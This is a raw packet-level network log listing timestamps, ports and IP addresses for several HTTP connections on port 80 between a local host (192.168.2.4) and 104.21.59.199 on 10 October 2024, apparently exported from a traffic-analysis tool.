Oct 10, 2024 21:02:07.076455116 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076510906 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076514959 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076525927 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076586008 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076683998 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076694012 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076704025 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076720953 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.076736927 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076805115 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.076853037 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.081392050 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081435919 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081450939 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.081562042 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081572056 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081666946 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081762075 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081840992 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.081948996 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082020998 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082171917 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082262993 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082273006 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082345009 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082354069 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082412004 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082421064 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082454920 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082463026 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082509041 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082518101 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082601070 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082609892 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082619905 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082629919 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082638979 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.082649946 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.086363077 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.400573015 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.414005995 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.419851065 CEST	80	50346	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.419919014 CEST	50346	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.724841118 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.729883909 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:07.729954004 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.732677937 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:07.737637043 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.190222025 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.191046953 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.191306114 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196470976 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196505070 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196554899 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196559906 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196582079 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196607113 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196631908 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196656942 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196656942 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196661949 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196751118 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196779013 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196846008 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196871996 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196892977 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196897984 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.196902990 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196921110 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.196952105 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201224089 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201276064 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201692104 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201718092 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201738119 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201757908 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201809883 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201836109 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201853991 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201879978 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201946974 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201972961 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.201992989 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.201998949 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.202022076 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.202037096 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.202090979 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.202116966 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.202140093 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.202157974 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.202277899 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.202302933 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.202330112 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.202347994 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.206299067 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.206360102 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.206727982 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.206775904 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.206798077 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207149029 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207305908 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207331896 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207357883 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207442045 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207467079 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207492113 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207552910 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207577944 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207707882 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207734108 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207760096 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207839966 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207865953 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207890987 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207916975 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207942009 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.207971096 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.211425066 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.211865902 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.211891890 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.211916924 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.211942911 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.827133894 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.827361107 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.827472925 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.837177038 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:08.843682051 CEST	80	50347	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:08.843775988 CEST	50347	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.000351906 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.005686998 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.005815983 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.006408930 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.011300087 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.481990099 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.483010054 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.483460903 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488100052 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488454103 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488538980 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488666058 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488692999 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488718987 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488727093 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488744974 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488763094 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488770962 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488787889 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488797903 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488820076 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488822937 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488845110 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488853931 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.488874912 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.488903999 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.492800951 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.492866993 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.493433952 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.493498087 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.493706942 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.493755102 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.493766069 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.493779898 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.493803978 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.493829966 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.493979931 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494029045 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494043112 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.494055986 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494081020 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494106054 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.494127989 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494149923 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.494153976 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494179010 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.494215012 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.494215012 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.494255066 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.497845888 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.497919083 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.498431921 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.498491049 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.498986006 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499303102 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499459982 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499505043 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499591112 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499636889 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499701023 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499906063 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.499931097 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500041008 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500340939 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500366926 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500474930 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500499964 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500650883 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.500675917 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.502921104 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.502948046 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.502973080 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.502999067 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503024101 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503068924 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503093958 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503783941 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503809929 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.503834963 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.504044056 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.840133905 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.877324104 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:09.883058071 CEST	80	50348	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:09.883143902 CEST	50348	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.163292885 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.168625116 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.168711901 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.169235945 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.174294949 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.633408070 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.634546995 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.635010004 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.639966011 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640048981 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640100956 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640115976 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640130043 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640153885 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640156984 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640202045 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640326023 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640353918 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640381098 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640398979 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640410900 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640430927 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640438080 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.640459061 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.640487909 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645025015 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645093918 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645190954 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645220041 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645250082 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645268917 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645277977 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645309925 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645324945 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645339012 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645390987 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645522118 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645558119 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645602942 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645608902 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645661116 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645679951 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645762920 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.645802021 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.645849943 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.650382042 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.650470018 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.650522947 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.650929928 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651077986 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651195049 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651223898 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651355982 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651381969 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.651454926 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.655440092 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.655467033 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.655600071 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.953773022 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.965539932 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:10.971450090 CEST	80	50349	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:10.971534014 CEST	50349	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.088769913 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.218930960 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.219050884 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.219469070 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.224495888 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.682281017 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.683248043 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.683564901 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.689630032 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690321922 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690361023 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690387011 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690396070 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690418959 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690423012 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690448046 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690449953 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690471888 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690475941 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690501928 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690501928 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690527916 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690529108 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690556049 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690577030 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.690577984 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.690651894 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.691346884 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.691426039 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695722103 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695748091 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695774078 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695784092 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695820093 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695826054 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695846081 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695873022 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.695882082 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695915937 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695915937 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.695980072 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696007013 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696033001 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696050882 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.696058035 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696084023 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696091890 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.696091890 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.696136951 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.696610928 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.696674109 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.700978041 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.700989962 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701050997 CEST	50351	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:11.701128960 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701452017 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701466084 CEST	80	50351	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:11.701477051 CEST	80	50351	104.21.59.199	192.168.2.4
